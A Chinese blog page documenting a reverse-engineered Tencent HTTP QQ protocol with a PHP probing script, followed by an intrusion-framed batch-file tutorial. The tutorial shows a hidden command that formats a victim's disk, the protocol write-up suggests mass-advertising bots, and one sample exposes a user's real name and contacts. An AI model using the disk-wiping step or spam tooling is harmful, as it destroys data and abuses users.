1、研究说明
Tencent在tqq.tencent.com的8000有一个使用HTTP的QQ接口,通过这个接口,可以进行一些基本的操作,如:登陆、登出、改变登陆状态(上线、忙碌、离线、隐身)、添加删除好友、查看好友信息、发送验证信息(接受被加为好友、申请加对方为好友、拒绝被加为好友)、收发用户消息、系统信息。
目前我研究的是1.1版本的HTTP QQ协议,研究是微程在的成果上进行的,不敢说有什么超越,只不过更为详细和准确。
2、接口说明:
接口位置:tqq.tencent.com:8000
通信协议:HTTP
数据传输方法:POST
HTTP请求格式:
POST HTTP/1.1
Host: tqq.tencent.com:8000
Content-Type: text/plain; charset=UTF-8
Content-length: 长度
Connection: close
数据
其中长度为 数据 的长度,数据的格式:
VER=1.1&CMD=命令&SEQ=标记&UIN=QQ号&….
以上4个参数是每个请求都必有的。其中,VER表示协议的版本,目前为1.1,据说1.2已经出来了,这个乱写的话,服务器返回NULL;CMD为操作的指令,有Login、List、Query_Stat、GetInfo、AddToList、Ack_AddToList、DelFromList、Change_Stat、GetMsgEx、CLTMSG、Logout;SEQ为当前请求的标记,防止重复发送,可以用当前时间,也可以用随机数;UIN是当前执行操作的QQ号。不过不同的CMD还需要不同的参数,下面我就公布我的研究成果。
3、研究方法:
我对目前网上的资料不够满意,就自己写程序,发送多条相同CMD不同参数的请求,根据服务器的返回,来做判断。感兴趣的朋友可以参考一下,此处可以跳过。
下面我公布我探测的代码(PHP):
$uin = “QQ号”; [separator]
$pwd = md5(“QQ密码”);
//登陆测试
$poststring[] = “VER=1.1&CMD=Login&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&PS=”.$pwd.”&M5=1&LC=9326B87B234E7235″;
//注意:登陆测试不能同时进行,必须等到服务器认为QQ断开了,才能够测试,不然结果不可信
/*******
$poststring[] = “VER=1.1&CMD=Login&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&PS=”.$pwd.”&M5=0&LC=9326B87B234E7235″;
$poststring[] = “VER=1.1&CMD=Login&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&PS=”.$pwd.”&M5=1&LC=9326B87B234E7235″;
$poststring[] = “VER=1.1&CMD=Login&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&PS=”.$pwd.”&M5=2&LC=9326B87B234E7235″;
$poststring[] = “VER=1.1&CMD=Login&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&PS=”.$pwd.”&M5=3&LC=9326B87B234E7235″;
$poststring[] = “VER=1.1&CMD=Login&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&PS=”.$pwd.”&M6=1&LC=9326B87B234E7235″;
$poststring[] = “VER=1.1&CMD=Login&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&PS=”.$pwd.”&M6=1&LC=1223423545756679″;
*******/
//得到好友列表
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin;
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0″;
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=160″;
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=0″;
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=”.rand(1,10);
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0&UN=0″;
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=160&UN=0″;
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=160&UN=0″;
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=”.rand(1,200).”&UN=0″;
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=”.rand(1,200).”&UN=0″;
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=”.rand(1,200).”&UN=0″;
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0&UN=”.rand(1,10);
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0&UN=”.rand(1,10);
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0&UN=”.rand(1,10);
$poststring[] = “VER=1.1&CMD=List&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0&UN=106814″;
//得到在线列表
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin;
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0″;
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=160″;
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=0″;
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=”.rand(1,10);
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0&UN=0″;
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=160&UN=0″;
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=160&UN=0″;
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=”.rand(1,200).”&UN=0″;
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=”.rand(1,200).”&UN=0″;
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=”.rand(1,200).”&UN=0″;
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0&UN=”.rand(1,10);
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0&UN=”.rand(1,10);
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0&UN=”.rand(1,10);
$poststring[] = “VER=1.1&CMD=Query_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&TN=0&UN=106814″;
//查看好友信息
$poststring[] = “VER=1.1&CMD=GetInfo&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&LV=0&UN=106814″;
$poststring[] = “VER=1.1&CMD=GetInfo&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&LV=1&UN=106814″;
$poststring[] = “VER=1.1&CMD=GetInfo&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&LV=2&UN=106814″;
$poststring[] = “VER=1.1&CMD=GetInfo&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&LV=3&UN=106814″;
$poststring[] = “VER=1.1&CMD=GetInfo&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&LV=4&UN=106814″;
$poststring[] = “VER=1.1&CMD=GetInfo&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&LV=5&UN=106814″;
//增加好友
$poststring[] = “VER=1.1&CMD=AddToList&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=106814″;
//发送验证
$poststring[] = “VER=1.1&CMD=Ack_AddToList&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=106814&CD=0&RS=TEST”;
$poststring[] = “VER=1.1&CMD=Ack_AddToList&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=106814&CD=1&RS=TEST”;
$poststring[] = “VER=1.1&CMD=Ack_AddToList&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=106814&CD=2&RS=TEST”;
$poststring[] = “VER=1.1&CMD=Ack_AddToList&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=106814&CD=3&RS=TEST”;
$poststring[] = “VER=1.1&CMD=Ack_AddToList&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=106814&CD=4&RS=TEST”;
$poststring[] = “VER=1.1&CMD=Ack_AddToList&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=106814&CD=5&RS=TEST”;
//删除好友
$poststring[] = “VER=1.1&CMD=DelFromList&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=106814″;
//改变状态
for($i=0;$i<=60;$i=$i+5)
{
$poststring[] = “VER=1.1&CMD=Change_Stat&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&ST=”.$i;
}
//获得消息
$poststring[] = “VER=1.1&CMD=GetMsgEx&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”";
//发送消息
$poststring[] = “VER=1.1&CMD=CLTMSG&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”&UN=106814&MG=TEST”;
//登出
$poststring[] = “VER=1.1&CMD=Logout&SEQ=”.rand(1000,9000).”&UIN=”.$uin.”";
$file = fopen(“p.txt”,”w”);
foreach($poststring as $k=>$v)
{
ss_timing_start();
$fp = fsockopen(’tqq.tencent.com’, ’8000’, $errno, $errstr, $timeout = 10);
if(!$fp){
//error tell us
$content = $k.chr(13).chr(10).”ERROR:$errstr ($errno)”;
}else{
//send the server request
fputs($fp, “POST HTTP/1.1rn”);
// fputs($fp, “Host: $hostrn”);
// fputs($fp, “Content-type: application/x-www-form-urlencodedrn”);
fputs($fp, “Content-length: “.strlen($v).”rn”);
fputs($fp, “Connection: closernrn”);
fputs($fp, $v . “rnrn”);
//loop through the response from the server
$res = “”;
while(!feof($fp)) {
$res .= fgets($fp, 4096);
}
//close fp – we are done with it
fclose($fp);
$content = $v.chr(13).chr(10).$res;
}
ss_timing_stop();
$content .= chr(13).chr(10).”Time: “.ss_timing_current().chr(13).chr(10).”————————————–”.chr(13).chr(10);
fputs($file,$content);
}
fclose($file);
?>
function ss_timing_start ($name = “default”) {
global $ss_timing_start_times;
$ss_timing_start_times[$name] = explode(’ ’, microtime());
}
function ss_timing_stop ($name = “default”) {
global $ss_timing_stop_times;
$ss_timing_stop_times[$name] = explode(’ ’, microtime());
}
function ss_timing_current ($name = “default”) {
global $ss_timing_start_times, $ss_timing_stop_times;
if (!isset($ss_timing_start_times[$name])) {
return 0;
}
if (!isset($ss_timing_stop_times[$name])) {
$stop_time = explode(’ ’, microtime());
}
else {
$stop_time = $ss_timing_stop_times[$name];
}
$current = $stop_time[1]-$ss_timing_start_times[$name][1];
$current += $stop_time[0]-$ss_timing_start_times[$name][0];
return $current;
}
?>
4、研究成果:
(1).登陆
说明:在你做任何其他操作以前,你必须登陆。只有在登陆以后,你的其他指令才有可能被正确执行(返回RES=0),不然服务器会返回RES=20,不过有个例外,就是logout。当你成功登陆以后,服务器就会根据你的IP*和参数中的UIN来验证身份。一台电脑可以同时登陆多个QQ,互不影响,就是因为有参数UIN。
*至于我能够确定服务器是通过IP来验证的,是因为服务器不可能通过我的请求获得其他信息了^_^
提交数据:VER=1.1&CMD=Login&SEQ=标记&UIN=QQ号&PS=QQ密码&M5=1&LC=9326B87B234E7235
说明:QQ密码是通过md5加密的字符串,在PHP中可以直接用md5()进行加密;
M5这个参数的作用还不清楚,但最好为1。
LC这个参数有点神秘,不能有丝毫改动,不然服务器就没有响应(没有响应就是返回NULL)。
返回:VER=1.1&CMD=LOGIN&SEQ=标记&UIN=QQ号&RES=0&RS=0&HI=60&LI=300(成功)
VER=1.1&CMD=LOGIN&SEQ=标记&UIN=QQ号&RES=0&RS=1&RA=密码错误(密码错误)
VER=1.1&CMD=LOGIN&SEQ=标记&UIN=QQ号&RES=5(QQ号非法,如100)
NULL(UIN为字符、PS为空、LC错误)
(2).得到好友列表
提交数据:VER=1.1&CMD=List&SEQ=标记&UIN=QQ号&TN=160&UN=0
说明:TN、UN还不清楚具体表示什么,但是TN的值会影响返回的结果,有没有UN对结果没有影响
返回:VER=1.1&CMD=LIST&SEQ=标记&UIN=QQ号&RES=0&FN=9(当TN=0或没有TN参数时,FN表示好友数)
VER=1.1&CMD=LIST&SEQ=标记&UIN=QQ号&RES=0&FN=1&SN=9&UN=3814526,…,(当TN存在且非0时,FN=1,SN表示好友数,UN为好友列表,用”,”分割)
VER=1.1&CMD=LIST&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、TN、UN为字符)
(3).得到在线好友列表
提交数据:VER=1.1&CMD=Query_Stat&SEQ=标记&UIN=QQ号&TN=50&UN=0
说明:TN、UN还不清楚具体表示什么,但是TN的值会影响返回的结果,有没有UN对结果没有影响
返回:VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=0&FC=0,&FN=1&SN=1&ST=10,&UN=106814,&NK=Hackfan 好,(当TN存在且非0时,FN=1,SN表示在线好友数,FC、ST、UN、NK的值用’,’分割,分别表示头像、状态、号码、昵称)
VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、TN、UN为字符)
说明:FC为QQ头像的的ID,如的头像ID为270,那么其头使用的图片为91.bmp,其算法为ID/3+1;
ST为QQ用户的状态,10为上线,20为离线(或隐身),30为忙碌;
特别说明:当参数TN=0或不存在时,服务器返回:
VER=1.1&CMD=Query_Stat&SEQ=标记&UIN=QQ号
HTTP/1.1 200 OK
Server: tencent imserver/1.0.0
Content-Type: text/plain; charset=UTF-8
Content-Length: 56
VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=0&FN=1
HTTP/1.1 200 OK
Server: tencent imserver/1.0.0
Content-Type: text/plain; charset=UTF-8
Content-Length: 77
VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=0&FC=&FN=1&SN=0&ST=&UN=&NK=
返回了2次,第一次的结果中,FN为在线好友数,第二次返回的数据基本没用。
(4).查看好友信息
提交数据:VER=1.1&CMD=GetInfo&SEQ=标记&UIN=QQ号&LV=查询类型&UN=被查询QQ号码
说明:LV=0,1为精简查询,LV=2为普通查询,LV>=3为详细查询
返回:VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=0&LV=0&UN=106814&NK=Hackfan 好(精简查询)
VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=0&AD=地址&AG=19&EM=hackfan@qq.com&FC=0&HP=http://blog.hackfan.net&JB=学生
&LV=2&PC=邮编&PH=电话&PR=The guy is updating to .NET Frameword……&PV=江苏&RN=胡吉阳&SC=毕业院校&SX=0&UN=106814&NK=Hackfan
好(普通查询)
VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=0&AD=地址&AG=19&BT=2&CO=6&CT=苏州&CV=%01&CY=中华人民共和国
&EM=hackfan@qq.com&FC=0&HP=http://blog.hackfan.net&ID=-&JB=学生&LV=3&MO=136********&MT=0&MV=&PC=邮编&PH=电话&PR=The guy is
updating to .NET Frameword……&PV=江苏&RN=胡吉阳&SC=毕业院校&SH=3&SX=0&UN=106814&NK=Hackfan 好(详细查询)
VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、LV、UN为字符)
说明:AD为联系地址
AG为年龄
BT为血型
CO为星座
CT为城市
CV为未知*
CY为国家
EM为Email
FC为头像
HP为网站
ID为未知
JB为职业
LV为查询代码(就是发送的LV)
MO为移动电话
MT为未知
MV为未知
PC为邮编
PH为联系电话
PR为简介
PV为省
RN为真实姓名
SC为毕业院校
SH为生肖
SX为性别
UN为QQ号
NK为昵称
血型:0 => ’’,
1 => ’A型’,
2 => ’B型’,
3 => ’O型’,
4 => ’AB型’,
5 => ’其他’
星座:0 => ’’,
1 => ’水瓶座’,
2 => ’双鱼座’,
3 => ’牡羊座’,
4 => ’金牛座’,
5 => ’双子座’,
6 => ’巨蟹座’,
7 => ’狮子座’,
8 => ’处女座’,
9 => ’天秤座’,
10 => ’天蝎座’,
11 => ’射手座’,
12 => ’摩羯座’
生肖:0 => ’’,
1 => ’鼠’,
2 => ’牛’,
3 => ’虎’,
4 => ’兔’,
5 => ’龙’,
6 => ’蛇’,
7 => ’马’,
8 => ’羊’,
9 => ’猴’,
10 => ’鸡’,
11 => ’狗’,
12 => ’猪’
性别:0 => ’男’,
1 => ’女’
(5).增加好友
提交数据:VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&UN=对方QQ号
返回:VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=0&CD=0&UN=对方QQ号(允许被加为好友,此时他已经是你的好友)
VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=0&CD=1&UN=对方QQ号(需要验证)
VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=0&CD=2&UN=对方QQ号(决绝被加为好友)
VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、UN为字符)
(6).发送验证
说明:1、如果你加对方为好友,你需要发送验证
2、对方加你为好友,发送了验证,你要通过或者拒绝
这2种情况需要发送验证消息
提交数据:VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&UN=对方QQ号&CD=验证类型&RS=理由
说明:CD为0表示“通过验证”,CD为1表示“拒决加为对方为好友”,CD为2表示“为请求对方加为好友”。
返回:VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&RES=0(成功)
VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&RES=3(*)
VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、UN、CD为字符,RS为非UTF-8字符)
*如果服务器返回RES=3,那么这次对话的响应时间在20s。当发送验证请求的时候,必须连发2次(请求内容不必一样),其中一条RES=3,对方收不到,一条RES=0,对方能够收到。当CD>=3时,RES=3,响应时间20s。
(7).删除好友
提交数据:VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&UN=删除的QQ号
返回:VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&RES=0&(成功)
VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&RES=3(响应时间30s,重复发送的后果)
VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、UN为字符)
(8).改变状态
提交数据:VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&ST=状态代码
说明:状态代码:10为上线,20为离线,30为忙碌,40为隐身,其他视为非法
返回:VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&RES=0&(成功)
VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&RES=3(失败,原因不明,响应时间20s,可能是过于频繁的改变状态引起的)
VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN为字符,ST非法)
特别说明:如果你改变好友,将会给所有好友发送一条系统信息,内容就是状态代码;如果隐身,发送的状态代码为20,表示离线。
同理,当你的好友改变状态,你也会收到一条系统信息。
(9).获得消息
提交数据:VER=1.1&CMD=GetMsgEx&SEQ=标记&UIN=QQ号
返回:VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=0&MN=4&MT=99,99,99,9,&UN=36791785,99833581,99833581,106814,&MG=20,30,10,hi ,(MN表示信息数量,MT、UN、MG的值用”,”分割,分别表示消息类型、发送人号码、消息内容)
VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=0&MN=0&MT=&UN=&MG=(表示没有信息)
VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN为字符)
说明:关于MT:
9为用户消息,99为系统消息,2为请求信息,3为通过验证,4为拒绝被加好友
关于MG:
当MT=9时,MG为用户发送的消息内容
当MT=99时,
MG=10(QQ_STATUS_ONLINE)表示对方上线
MG=20(QQ_STATUS_OFFLINE)表示对方下线
MG=30(QQ_STATUS_BUSY)表示对方进入忙碌状态
当MT=2时,MG为对方请求你验证的信息
当MT=3时,表示对方通过你的验证
当MT=4时,MG为对方拒绝你理由
当对方发送的消息过长时,服务器会自动截成几段,每段最多400个字节。完整的信息最后将有一个空格。
比如,我发送401个’A’的信息,接受的时候,服务器返回:
VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=0&MN=2&MT=9,9,&UN=106814,106814,&MG=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,A ,
比如,我发送400个’A’的信息,接受的时候,服务器返回:
VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=0&MN=2&MT=9,9,&UN=106814,106814,&MG=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,A ,
比如,我发送399个’A’的信息,接受的时候,服务器返回:
VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=0&MN=1&MT=9,9,&UN=106814,&MG=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ,
(10).发送消息
提交数据:VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&UN=对方QQ号&MG=发送内容
说明:发送内容的长度应小于400字节
返回:VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&RES=0&(成功发送,对方不一定能收到哦)
VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&RES=3(发送过快或者内容超长>400个字节)
VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、UN为字符,MG含非UTF-8字符)
说明:1、当你发消息时,以下情形对方可能看不到(其实是收到了,QQ不提示)你发送的消息:
你俩互为陌生人,且对方没有和你说过话
你在他的陌生人列表里,并且他没有和你说过话(没有验证)
2、当你过快发送消息时,系统会给你一个惩罚,RES=3,相应时间20s
3、当我发送含有小写字母h的信息时,服务器有可能返回NULL
4、过长的消息需要分段发送,当消息长度超过400字节的时候,服务器返回RES=3
(11).登出
提交数据:VER=1.1&CMD=Logout&SEQ=标记&UIN=QQ号
返回:VER=1.1&CMD=LOGOUT&SEQ=标记&UIN=QQ号&RES=0(成功,好像永远成功的,不管你是否登陆)
NULL(UIN为字符)
5、总结
通过对照以上的接口说明,我开发出了能够实现基本QQ功能的PHP类,它整合了以上所有的接口,使用更方便,可以开发QQ机器人、群发广告程序等。
本文撰写时间仓促,难免有误,希望各位不吝赐教!
“技术资料”目录存档
网页QQ登陆命令测试HTTP接口探究
2009年11月13日,星期五CMD编程详解 bat命令
2009年11月13日,星期五如果没有一定的相关知识恐怕不容易看懂和理解批处理文件,也就更谈不上自己动手编写了
批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{ on|off }] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite…
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*——–*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive: }[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\\dos\\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
